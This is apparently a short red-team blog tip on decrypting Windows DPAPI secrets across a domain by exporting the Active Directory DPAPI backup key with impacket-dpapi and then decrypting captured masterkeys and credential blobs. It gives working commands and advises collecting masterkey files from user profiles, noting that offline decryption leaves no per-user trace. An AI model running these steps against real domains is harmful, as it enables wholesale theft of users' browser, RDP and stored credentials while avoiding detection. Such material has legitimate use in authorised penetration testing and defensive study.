Blog/ Tips & Tricks /Windows Post-Exploitation

Decrypt DPAPI secrets with the domain backup key

Aug 26, 2026 · 1 min read

DPAPI protects browser passwords, saved RDP credentials, and Credential Manager blobs with per-user masterkeys. Domain accounts back those masterkeys up to a domain-wide RSA key held on the DCs. Recover that key once and you decrypt everyone’s secrets without touching their sessions.

bash

# pull the domain backup key (needs DA-equivalent access to a DC)
impacket-dpapi backupkeys -t dom/user:pass@dc --export

Then decrypt a captured masterkey and the credential it guards.

bash

impacket-dpapi masterkey -file MK -pvk key.pvk
impacket-dpapi credential -file CRED -key 0xMASTERKEY

Pro note: collect the masterkey files from %APPDATA%MicrosoftProtect and the encrypted blobs during your access; decryption is offline and leaves no per-user artifact. For local accounts there is no backup key, so fall back to the user’s password or hash to derive the masterkey.